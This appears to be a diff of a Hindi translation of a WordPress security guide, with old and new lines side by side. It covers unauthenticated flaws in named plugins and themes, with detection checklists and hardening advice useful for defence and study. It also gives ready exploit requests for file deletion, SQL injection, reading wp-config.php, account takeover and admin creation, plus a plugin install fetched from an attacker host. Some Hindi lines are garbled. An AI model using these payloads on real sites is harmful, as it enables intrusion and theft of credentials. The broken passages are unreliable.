- HTTP 201 एक JSON बॉडी के साथ जो बनाए गए user का वर्णन करती है।
- एक नया admin user दिखाई देगा `wp-admin/users.php` में
डिटेक्शन चेकलिस्ट
Detection checklist
- Grep करके खोजें `getallheaders()`, `$_SERVER['HTTP_...']`, या vendor SDKs जो custom headers पढ़कर user context सेट करते हैं (उदा., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- REST registrations की समीक्षा करें ताकि ऐसे privileged callbacks मिलें जिनमें मजबूत `permission_callback` checks नहीं हैं और जो request headers पर निर्भर करते हैं।
- ऐसे उपयोग ढूँढें जहाँ core user-management functions (`wp_insert_user`, `wp_create_user`) REST handlers के अंदर उपयोग किए गए हैं और केवल header values से gated हैं।
- `getallheaders()`, `$_SERVER['HTTP_...']`, या ऐसे vendor SDKs के लिए grep करें जो कस्टम हेडर्स पढ़कर user context सेट करते हैं (उदा., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- उन REST registrations की समीक्षा करें जिनके privileged callbacks में मजबूत `permission_callback` चेक नहीं हैं और जो request headers पर निर्भर करते हैं।
- ऐसे REST handlers में core user-management functions (`wp_insert_user`, `wp_create_user`) के उपयोग ढूंढें जो केवल header values से गेट किए गए हैं।
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
### wp_ajax_nopriv के माध्यम से अनप्रमाणीकृत मनमाना फ़ाइल हटाना (Litho Theme <= 3.0)
WordPress themes और plugins अक्सर `wp_ajax_` और `wp_ajax_nopriv_` hooks के माध्यम से AJAX handlers को एक्सपोज़ करते हैं। जब **_nopriv_** variant का उपयोग होता है **callback अनप्रमाणीकृत विज़िटर्स के लिए पहुँच योग्य हो जाता है**, इसलिए किसी भी संवेदनशील कार्रवाई को अतिरिक्त रूप से यह लागू करना चाहिए:
WordPress themes और plugins अक्सर `wp_ajax_` और `wp_ajax_nopriv_` hooks के माध्यम से AJAX handlers एक्सपोज़ करते हैं। जब **_nopriv_** variant का इस्तेमाल होता है **तो callback अनप्रमाणीकृत विज़िटर द्वारा पहुंच योग्य हो जाता है**, इसलिए किसी भी संवेदनशील कार्रवाई के लिए अतिरिक्त रूप से निम्न लागू होना चाहिए:
1. एक **capability check** (उदा. `current_user_can()` या कम से कम `is_user_logged_in()`), और
2. एक **CSRF nonce**िसे `check_ajax_referer()` / `wp_verify_nonce()` के साथ validate किया गया हो, और
3. **Strict input sanitisation / validation**।
1. एक **capability check** (जैसे `current_user_can()` या कम से कम `is_user_logged_in()`), और
2. एक **CSRF nonce**`check_ajax_referer()` / `wp_verify_nonce()` से validate किया गया हो, और
3. **कठोर इनपुट sanitisation / validation**।
The Litho multipurpose theme (< 3.1) ने इन कंट्रल्स *Remove Font Family* चर में भूल गय और परिमस्वरूप िम्नलिि (सरलकृत) ि गय:
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -434,15 +462,15 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Issues introduced by this snippet:
इस स्निपेट द्वारा पेश की गई समस्याएँ:
* **Unauthenticated access** the `wp_ajax_nopriv_` hook रजिस्टर किया गया है।
* **No nonce / capability check** कोई भी विज़िटर endpoint तक पहुँच सकता है।
* **No path sanitisation** उपयोगकर्ता–नियंत्रित `fontfamily` स्ट्रिंग बिना फ़िल्टर किए फ़ाइल सिस्टम पथ के साथ जोड़ दी जाती है, जिससे क्लासिक `../../` traversal संभव हो जाता है।
* **अनप्रमाणित पहुँच** `wp_ajax_nopriv_` hook रजिस्टर किया गया है।
* **Nonce / capability चेक नहीं** कोई भी आगंतुक इस एंडपॉइंट को हिट कर सकता है।
* **पाथ सैनीटाइज़ेशन नहीं** उपयोगकर्ता-नियंत्रित `fontfamily` स्ट्रिंग को फ़िल्टर किए बिना फाइलसिस्टम पाथ के साथ जोड़ दिया जाता है, जिससे क्लासिक `../../` traversal संभव होता है।
#### Exploitation
#### शोषण
एक attacker एक ही HTTP POST अनुरोध भेजकर किसी भी फ़ाइल या डायरेक्टरी को **uploads base directory के नीचे** (आम तौर पर `<wp-root>/wp-content/uploads/`) से डिलीट कर सकता है:
एक हमलावर एकल HTTP POST अनुरोध भेजकर किसी भी फ़ाइल या डायरेक्टरी को **uploads बेस डायरेक्टरी के नीचे** (आमतौर पर `<wp-root>/wp-content/uploads/`) से हटा सकता है:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
@ -452,10 +480,10 @@ Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
#### डिटेक्शन चेकलिस्ट
#### Detection checklist
* कोई भी `add_action( 'wp_ajax_nopriv_...')` callback जो filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, आदि) को कॉल करता ह
* paths में unsanitised user input का concatenation (देखें: `$_POST`, `$_GET`, `$_REQUEST`)।
* कोई भी `add_action( 'wp_ajax_nopriv_...')` callback जो filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, आदि) को कॉल करता ह
* paths में unsanitised user input का concatenation (देखें `$_POST`, `$_GET`, `$_REQUEST`)।
* `check_ajax_referer()` और `current_user_can()`/`is_user_logged_in()` की अनुपस्थिति।
---
@ -479,11 +507,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
क्यों यह exploitable है
यह क्यों exploitable है
- सर्वर-साइड authorization के बिना `$_REQUEST['reset-for']` और एक plugin option पर भरोसा करता है।
- यदि किसी उपयोगकर्ता के higher privileges पहले `_asenha_view_admin_as_original_roles` में सहेजे गए थे और उन्हें downgraded किया गया हो, तो वे reset path पर जाकर उन्हें पुनर्स्थापित कर सकते हैं।
- कुछ deployments में, कोई भी authenticated उपयोगकर्ता किसी अन्य username के लिए reset ट्रिगर कर सकता है, जो अभी भी `viewing_admin_as_role_are` में मौजूद है (broken authorization).
- सर्वर-साइड प्राधिकरण के बिना `$_REQUEST['reset-for']` और एक plugin विकल्प पर भरोसा करता है।
- यदि किसी उपयोगकर्ता के पास पहले `_asenha_view_admin_as_original_roles` में higher privileges संग्रहीत थे और उन्हें downgraded किया गया, तो वे reset path को हिट करके उन्हें restore कर सकते हैं।
- कुछ deployments में, कोई भी authenticated user `viewing_admin_as_role_are` में अभी भी मौजूद किसी अन्य username के लिए reset ट्रिगर कर सकता है (broken authorization).
Exploitation (example)
```bash
@ -497,11 +525,11 @@ On vulnerable builds this removes current roles and re-adds the saved original r
Detection checklist
- उन role-switching फीचर्स की तलाश करें जो user meta में “original roles” को स्थायी रूप से सेव करते हैं (उदा., `_asenha_view_admin_as_original_roles`)।
- ऐसे reset/restore paths पहचानें जो:
- `$_REQUEST` / `$_GET` / `$_POST` से usernames पढ़ते हैं।
- बिना `current_user_can()` और `wp_verify_nonce()` / `check_admin_referer()` के `add_role()` / `remove_role()` के माध्यम से roles बदलते हैं।
- actor की capabilities के बजाय plugin option array (उदा., `viewing_admin_as_role_are`) के आधार पर authorize करते हैं।
- Look for role-switching features that persist “original roles” in user meta (e.g., `_asenha_view_admin_as_original_roles`).
- Identify reset/restore paths that:
- Read usernames from `$_REQUEST` / `$_GET` / `$_POST`.
- Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`.
- Authorize based on a plugin option array (e.g., `viewing_admin_as_role_are`) instead of the actors capabilities.
---
@ -538,13 +566,13 @@ wp_die('Original user not found.');
wp_die('No original user found to switch back to.');
}
```
यह क्यों शोषण योग्य है
यह शोषणीय क्यों है
- सार्वजनिक `init` hook हैंडलर को अप्रमाणीकृत उपयोगकर्ताओं के लिए पहुँच योग्य बनाता है (कोई `is_user_logged_in()` गार्ड नहीं)।
- पहचान क्लाइंट-परिवर्तनीय कुकी (`original_user_id`) से ली जाती है।
- सीधा कॉल `wp_set_auth_cookie($uid)` अनुरोधकर्ता को उस उपयोगकर्ता के रूप में लॉग इन कर देता है बिना किसी capability/nonce checks के।
- सार्वजनिक `init` hook हैंडलर को अनप्रमाणित उपयोगकर्ताओं के लिए पहुँच योग्य बनाता है (कोई `is_user_logged_in()` गार्ड नहीं)।
- पहचान क्लाइंट-परिवर्तनीय cookie (`original_user_id`) से प्राप्त होती है।
- `wp_set_auth_cookie($uid)` को सीधे कॉल करने से अनुरोधकर्ता उस यूजर के रूप में लॉग इन हो जाता है बिना किसी capability/nonce checks के।
शोषण (अप्रमाणीकृत)
शोषण (अनप्रमाणित)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
@ -554,22 +582,22 @@ Connection: close
```
---
### WAF considerations for WordPress/plugin CVEs
### WAF विचार — WordPress/plugin CVEs के लिए
Generic edge/server WAFs व्यापक पैटर्न (SQLi, XSS, LFI) के लिए ट्यून किए जाते हैं। कई उच्च-प्रभाव वाले WordPress/plugin दोष अनुप्रयोग-विशिष्ट लॉजिक/प्रमाणीकरण बग होते हैं जो इंजन WordPress routes और plugin semantics को समझे बिना वैध ट्रैफ़िक जैसा दिखते हैं
Generic edge/server WAFs व्यापक पैटर्न (SQLi, XSS, LFI) के लिए अनुकूलित होते हैं। कई highimpact WordPress/plugin दोष application-specific logic/auth बग होते हैं जो तब तक सामान्य ट्रैफिक की तरह दिखते हैं जब तक engine WordPress routes और plugin semantics को समझ नहीं लेता
Offensive notes
- plugin-विशिष्ट endpoints को clean payloads के साथ लक्षित करें: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- पहले unauth paths का परीक्षण करें (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads अक्सर बिना obfuscation के सफल हो जाते हैं।
- आम उच्च-प्रभाव मामले: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
- clean payloads के साथ plugin-specific endpoints को टार्गेट करें: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- पहले unauth paths का परीक्षण करें (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads अक्सर बिना obfuscation के सफल होते हैं।
- आम high-impact मामलों में: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Generic WAF signatures पर plugin CVEs की सुरक्षा के लिए भरोसा न करें। application-layer, vulnerability-specific virtual patches लागू करें या जल्दी अपडेट करें।
- कोड में negative regex filters की तुलना में positive-security checks (capabilities, nonces, strict input validation) को प्राथमिकता दें।
- plugin CVEs की रक्षा के लिए generic WAF signatures पर भरोसा न करें। application-layer, vulnerability-specific virtual patches लागू करें या जल्दी अपडेट करें।
- code में negative regex filters की बजाय positive-security checks (capabilities, nonces, strict input validation) को प्राथमिकता दें।
## WordPress Protection
## WordPress सुरक्षा
### नियमित अपडेट
@ -579,7 +607,7 @@ define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
इसके अलावा, **केवल भरोसेमंद WordPress plugins और themes ही इंस्टॉल करें**
साथ ही, **केवल भरोसेमंद WordPress plugins और themes ही इंस्टॉल करें**
### सुरक्षा प्लगइन्स
@ -587,17 +615,17 @@ add_filter( 'auto_update_theme', '__return_true' );
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **अन्य सुझाव**
### **अन्य सिफारिशें**
- डिफॉल्ट **admin** उपयोगकर्ता को हटाएँ
- डिफॉल्ट **admin** उपयोगकर्ता हटाएँ
- **मजबूत पासवर्ड** और **2FA** का उपयोग करें
- समय-समय पर उपयोगकर्ताओं की **अनुमतियाँ** की **समीक्षा** करें
- Brute Force हमलों को रोकने के लिए **लॉगिन प्रयासों को सीमित करें**
- **`wp-admin.php`** फाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ निश्चित IP पतों से ही एक्सेस की अनुमति दें।
- समय-समय पर उपयोगकर्ताओं की **permissions** की **समीक्षा** करें
- **लॉगिन प्रयासों को सीमित करें** ताकि Brute Force attacks को रोका जा सके
- Rename **`wp-admin.php`** file और केवल आंतरिक रूप से या कुछ निश्चित IP addresses से ही एक्सेस की अनुमति दें।
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
WP Job Portal recruitment plugin ने एक **savecategory** टास्क उजागर किया जो अंततः `modules/category/model.php::validateFormData()` के अंदर निम्नलिखित असुरक्षित कोड को निष्पादित करता है:
The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following vulnerable code inside `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -609,13 +637,13 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
```
Issues introduced by this snippet:
1. **Unsanitised user input** `parentid` सीधे HTTP request से आता है।
2. **String concatenation inside the WHERE clause** कोई `is_numeric()` / `esc_sql()` / prepared statement नहीं।
3. **Unauthenticated reachability** हालांकि action `admin-post.php` के माध्यम से execute होता है, पर मौजूद唯一 जाँच एक **CSRF nonce** (`wp_verify_nonce()`) है, जिसे कोई भी विज़िटर public पेज से प्राप्त कर सकता है जो shortcode `[wpjobportal_my_resumes]` एम्बेड करता है।
1. **सैनिटाइज़ नहीं किया गया उपयोगकर्ता इनपुट** `parentid` सीधे HTTP request से आता है.
2. **WHERE clause के अंदर string concatenation** कोई `is_numeric()` / `esc_sql()` / prepared statement नहीं है.
3. **बिना प्रमाणीकरण पहुँच** हालाँकि action `admin-post.php` के ज़रिए execute होता है, जगह पर मौजूद एकमात्र चेक **CSRF nonce** (`wp_verify_nonce()` ) है, जिसे कोई भी visitor सार्वजनिक पेज से प्राप्त कर सकता है जो शॉर्टकोड `[wpjobportal_my_resumes]` एम्बेड करता है.
#### Exploitation
#### शोषण
1. एक ताज़ा nonce प्राप्त करें:
1. एक नया nonce प्राप्त करें:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
@ -627,18 +655,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
Response इंजेक्ट किए गए क्वेरी का परिणाम उजागर करता है या डेटाबेस बदल देता है, जिससे SQLi प्रमाणित होता है।
Response इंजेक्ट किए गए query का परिणाम प्रकट कर सकता है या डेटाबेस बदल सकता है, जिससे SQLi साबित होता है.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
एक अन्य टास्क, **downloadcustomfile**, विज़िटर को path traversal के माध्यम से डिस्क से **किसी भी फ़ाइल** डाउनलोड करने की अनुमति देता था। कमजोर sink स्थित है `modules/customfield/model.php::downloadCustomUploadedFile()`:
एक अन्य task, **downloadcustomfile**, विज़िटर्स को path traversal के जरिए डिस्क पर मौजूद **किसी भी फ़ाइल** डाउनलोड करने की अनुमति देता था। कमजोर sink `modules/customfield/model.php::downloadCustomUploadedFile()` में स्थित है:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` हमलावर द्वारा नियंत्रित है और **सैनिटाइज़ेशन के बिना** संयोजित किया जाता है। फिर से, एकमात्र बाधा **CSRF nonce** है जिसे resume पृष्ठ से प्राप्त किया जा सकता है।
`$file_name` attacker-controlled है और **without sanitisation** के साथ जोड़ा जाता है। फिर से, एकमात्र gate एक **CSRF nonce** है जिसे resume page से प्राप्त किया जा सकता है।
#### Exploitation
```bash
@ -649,13 +677,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys.
सर्वर `wp-config.php` की सामग्री के साथ प्रतिक्रिया देता है, leaking DB credentials and auth keys.
## अप्रमाणीकरण किए बिना account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
## गैर-प्रमाणीकृत account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
कई themes/plugins "social login" helpers ship करते हैं जो admin-ajax.php के माध्यम से एक्सपोज़ होते हैं। अगर एक unauthenticated AJAX action (wp_ajax_nopriv_...) client-supplied identifiers पर भरोसा करता है जब provider data अनुपस्थित हो और फिर wp_set_auth_cookie() को कॉल करता है, तो यह एक पूरा authentication bypass बन जाता है।
कई themes/plugins "social login" helpers admin-ajax.php के माध्यम से expose करते हैं। अगर एक unauthenticated AJAX action (wp_ajax_nopriv_...) provider data अनुपस्थित होने पर client-supplied identifiers पर भरोसा करता है और फिर wp_set_auth_cookie() को कॉल करता है, तो यह एक पूरा authentication bypass बन जाता है।
Typical flawed pattern (simplified)
सामान्य दोषपूर्ण पैटर्न (सरलीकृत)
```php
public function check_login() {
// ... request parsing ...
@ -684,17 +712,17 @@ wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
```
यह शोषणीय क्यों है
यह क्यों exploitable है
- admin-ajax.php के माध्यम से unauthenticated पहुँच (wp_ajax_nopriv_… action)।
- state change से पहले कोई nonce/capability चेक नहीं है
- OAuth/OpenID provider सत्यापन अनुपस्थित है; default branch attacker इनपुट स्वीकार कर लेता है।
- get_user_by('email', $_POST['id']) के बाद wp_set_auth_cookie($uid) कॉल करने से requester को किसी भी मौजूद email address के रूप में प्रमाणित कर देता है।
- बिना प्रमाणीकरण के पहुंच possible via admin-ajax.php (wp_ajax_nopriv_… action) के माध्यम से
- state change से पहले nonce/capability checks नहीं हैं
- OAuth/OpenID provider verification गायब है; default branch attacker input स्वीकार कर लेता है।
- get_user_by('email', $_POST['id']) के बाद wp_set_auth_cookie($uid) requester को किसी भी मौजूदा email address के रूप में authenticate कर देता है।
Exploitation (unauthenticated)
- पूर्वापेक्षाएँ: attacker /wp-admin/admin-ajax.php तक पहुँच सकता है और किसी वैध उपयोगकर्ता ईमेल को जानता/अनुमान लगा सकता है।
- provider को एक unsupported value पर सेट करें (या इसे छोड़ दें) ताकि default branch पर जाएँ और id=<victim_email> पास करें।
- पूर्वापेक्षाएँ: attacker /wp-admin/admin-ajax.php तक पहुँच सकता है और किसी मान्य user email को जानता/अनुमान लगा सकता है।
- provider को unsupported value पर सेट करें (या इसे हटाएँ) ताकि default branch हिट हो और id=<victim_email> पास करें।
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
@ -709,25 +737,25 @@ curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
```
Expected success indicators
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
- HTTP 200 और JSON बॉडी जैसी {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* पीड़ित उपयोगकर्ता के लिए; उसके बाद के अनुरोध प्रमाणीकृत होते हैं।
Finding the action name
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
- theme/plugin की जाँच करें add_action('wp_ajax_nopriv_...', '...') पंजीकरणों के लिए सोशल लॉगिन कोड में (e.g., framework/add-ons/social-login/class-social-login.php).
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
Detection checklist
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=<email>.
- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
- Web logs जो अप्रमाणीकृत POSTs दिखाते हैं /wp-admin/admin-ajax.php पर social-login action और id=<email> के साथ।
- 200 responses जो success JSON के साथ हों और तुरंत उसी IP/User-Agent से आने वाले प्रमाणीकृत ट्रैफिक से पहले हों।
Hardening
- क्लाइंट इनपुट से पहचान न निकालें। केवल validated provider token/ID से उत्पन्न emails/IDs स्वीकार करें।
- Require CSRF nonces और capability checks लगाएँ भले ही वे login helpers हों; wp_ajax_nopriv_ को केवल तभी रजिस्टर करें जब बिल्कुल ज़रूरी हो।
- OAuth/OIDC responses को server-side validate और verify करें; missing/invalid providers को reject करें (POST id पर fallback न करें)।
- तब तक social login अस्थायी रूप से disable करने या edge पर virtual patching (vulnerable action को block करना) पर विचार करें जब तक fix न हो जाए
- क्लाइंट इनपुट से पहचान न बनाएं। केवल उन्हीं emails/IDs को स्वीकार करें जो validated provider token/ID से आई हों।
- CSRF nonces और capability checks की आवश्यकता रखें भले ही login helpers के लिए हों; wp_ajax_nopriv_ को तब तक register करने से बचें जब तक बिल्कुल जरूरी न हो।
- OAuth/OIDC responses को server-side पर validate और verify करें; missing/invalid providers को reject करें (POST id पर fallback नहीं करें)।
- अस्थायी रूप से social login को disable करने या edge पर virtually patch करने पर विचार करें (vulnerable action को block करें) जब तक fix नहीं हो जाता
Patched behaviour (Jobmonster 4.8.0)
@ -735,13 +763,13 @@ Patched behaviour (Jobmonster 4.8.0)
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
कुछ plugins ऐसे REST endpoints एक्सपोज़ करते हैं जो caller की capabilities की जांच किए बिना reusable “connection keys” या tokens मिंट कर देते हैं। अगर route केवल किसी guessable attribute (जैसे username) पर authenticate करता है और key को user/session के साथ capability checks के साथ bind नहीं करता, तो कोई भी unauthenticated attacker एक key मिंट कर सकता है और privileged actions (admin account creation, plugin actions → RCE) को invoke कर सकता है।
Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the callers capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC mint a connection key and use it
PoC एक connection key mint करें और इसका उपयोग करें
```bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
@ -756,28 +784,28 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
```
क्यों यह शोषण योग्य है
- संवेदनशील REST route केवल कम-एंट्रॉपी पहचान प्रमाण (username) पर निर्भर है या permission_callback गायब है
- कोई capability enforcement नहीं; minted key को सार्वभौमिक bypass के रूप में स्वीकार कर लिया जाता है
- Sensitive REST route केवल कम-entropy पहचान प्रमाण (username) या permission_callback के अभाव से सुरक्षित है
- कोई capability enforcement नहीं; mint किया गया key सार्वभौमिक बायपास के रूप में स्वीकार किया जाता है
पता लगाने की चेकलिस्ट
- plugin कोड में register_rest_route(..., [ 'permission_callback' => '__return_true' ]) के लिए grep करें
- कोई भी route जो request-supplied identity (username/email) के आधार पर tokens/keys जारी करता है, बिना किसी authenticated user या capability से जोड़
- उन subsequent routes को देखें जो server-side capability checks के बिना minted token/key को स्वीकार करते हैं
Detection checklist
- Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- कोई भी route जो request-supplied identity (username/email) के आधार पर tokens/keys जारी करता है बिना इसे authenticated user या capability से बाँध
- ऐसे subsequent routes देखें जो server-side capability checks के बिना minted token/key स्वीकार करते हैं
हार्डनिंग
- किसी भी privileged REST route के लिए: एक permission_callback आवश्यक रें जो required capability के लिए current_user_can() को लागू करे
- client-supplied identity से long-lived keys mint न करें; यदि आवश्यक हो तो authentication के बाद short-lived, user-bound tokens जारी करें और उपयोग पर capabilities फिर से जाँचें
- कॉलर के user context को validate करें (wp_set_current_user अकेले पर्याप्त नहीं है) और उन requests को reject करें जहाँ !is_user_logged_in() || !current_user_can(<cap>)
Hardening
- किसी भी privileged REST route के लिए: permission_callback आवश्यक रें जो required capability के लिए current_user_can() लागू करे
- client-supplied identity से long-lived keys mint न करें; अगर ज़रूरत हो तो authentication के बाद short-lived, user-bound tokens जारी करें और उपयोग पर capabilities फिर से जाँचें
- caller के user context को validate करें (wp_set_current_user अकेला पर्याप्त नहीं है) और उन अनुरोधों को अस्वीकार करें जहाँ !is_user_logged_in() || !current_user_can(<cap>)
---
## Nonce gate के गलत उपयोग → बिना प्रमाणीकरण के मनमाना plugin इंस्टॉलेशन (FunnelKit Automations ≤ 3.5.3)
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
Nonces CSRF को रोकते हैं, authorization नहीं। अगर कोड nonce पास को green light मानकर privileged operations (e.g., install/activate plugins) के लिए capability checks छोड़ देता है, तो बिना प्रमाणीकरण वाले attackers एक कमजोर nonce शर्त पूरी कर के backdoored या vulnerable plugin इंस्टॉल करके RCE हासिल कर सकते हैं।
Nonces CSRF को रोकते हैं, authorization को नहीं। अगर कोड nonce पास होना को green light मानता है और फिर privileged operations (e.g., install/activate plugins) के लिए capability checks छोड़ देता है, तो अनप्रमाणित हमलावर एक कमजोर nonce requirement पूरा करके backdoored या vulnerable plugin इंस्टॉल करके RCE तक पहुँच सकते हैं।
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; nonce “passes” होने पर current_user_can('install_plugins'|'activate_plugins') लागू नहीं होता
- Impact: arbitrary plugin install/activation के माध्यम से पूर्ण समझौता
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (shape depends on plugin; illustrative only)
```bash
@ -785,23 +813,23 @@ curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
```
पता लगाने की चेकलिस्ट
- REST/AJAX हैंडलर जो plugins/themes को केवल wp_verify_nonce()/check_admin_referer() के साथ संशोधित करते हैं और capability check नहीं करते
- कोई भी कोड पाथ जो nonce validation के बाद $skip_caps = true सेट करता है
Detection checklist
- REST/AJAX handlers जो plugins/themes को modify करते हैं पर केवल wp_verify_nonce()/check_admin_referer() मौजूद हों और capability check न हो
- कोई भी code path जो nonce validation के बाद $skip_caps = true सेट करता है
हार्डनिंग
- Nonces को केवल CSRF tokens के रूप में ही मानें; nonce की स्थिति के बावजूद capability checks लागू करें
- installer code तक पहुँचने से पहले current_user_can('install_plugins') और current_user_can('activate_plugins') आवश्यक रें
- अप्रमाणीकृत पहुँच को अस्वीकार करें; privileged flows के लिए nopriv AJAX actions को एक्सपोज़ करने से बचें
Hardening
- nonces को केवल CSRF tokens के रूप में ही मानें; nonce की स्थिति चाहे जो भी हो capability checks लागू करें
- installer code तक पहुँचने से पहले current_user_can('install_plugins') और current_user_can('activate_plugins') की आवश्यकताें
- अनप्रमाणीकृत एक्सेस को अस्वीकार करें; विशेषाधिकार वाले फ्लोज़ के लिए nopriv AJAX actions को expose करने से बचें
---
## अप्रमाणीकृत SQLi depicter-* actions में s (search) parameter के माध्यम से (Depicter Slider ≤ 3.6.1)
## अनप्रमाणीकृत SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
कई depicter-* actions ने s (search) parameter को लिया और उसे parameterization के बिना SQL queries में concatenated किया।
Multiple depicter-* actions ने s (search) पैरामीटर को उपयोग किया और उसे parameterization के बिना SQL queries में जोड़ दिया।
- Parameter: s (search)
- Flaw: WHERE/LIKE clauses में सीधे string concatenation; कोई prepared statements/sanitization नहीं
- Flaw: WHERE/LIKE क्लॉज़ में direct string concatenation; कोई prepared statements/sanitization नहीं
- Impact: database exfiltration (users, hashes), lateral movement
PoC
@ -811,35 +839,35 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
```
डिटेक्शन चेकलिस्ट
- depicter-* action handlers के लिए Grep करें और SQL में $_GET['s'] या $_POST['s'] का सीधे उपयोग देखें
- $wpdb->get_results()/query() को पास किए गए कस्टम क्वेरीज की समीक्षा करें जो s को जोड़ती हैं
Detection checklist
- Grep करके depicter-* action handlers और SQL में सीधे $_GET['s'] या $_POST['s'] के उपयोग को खोजें
- $wpdb->get_results()/query() को पास किए गए कस्टम क्वेरीज की समीक्षा करें जो s को concatenate कर रही हैं
हार्डनिंग
Hardening
- हमेशा $wpdb->prepare() या wpdb placeholders का उपयोग करें; सर्वर-साइड पर अनपेक्षित metacharacters को अस्वीकार करें
- s के लिए एक सख्त allowlist जोड़ें और अपेक्षित charset/length के अनुसार सामान्यीकृत करें
- s के लिए एक सख्त allowlist जोड़ें और अपेक्षित charset/length में normalize करें
---
## बिना प्रमाणिकरण Local File Inclusion के माध्यम से अमान्यीकृत template/file path (Kubio AI Page Builder ≤ 2.5.1)
## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Normalization/containment के बिना template पैरामीटर में attacker-controlled paths को स्वीकार करने से arbitrary local files पढ़ने की अनुमति मिलती है, और कभी-कभी code execution भी हो सकता है अगर includable PHP/log files runtime में शामिल कर दिए जाएँ।
template parameter में normalization/containment के बिना attacker-controlled paths को स्वीकार करने से arbitrary local files पढ़ने की अनुमति मिलती है, और कभी-कभार code execution भी हो सकता है यदि includable PHP/log फाइलें runtime में शामिल कर दी जाएँ।
- Parameter: __kubio-site-edit-iframe-classic-template
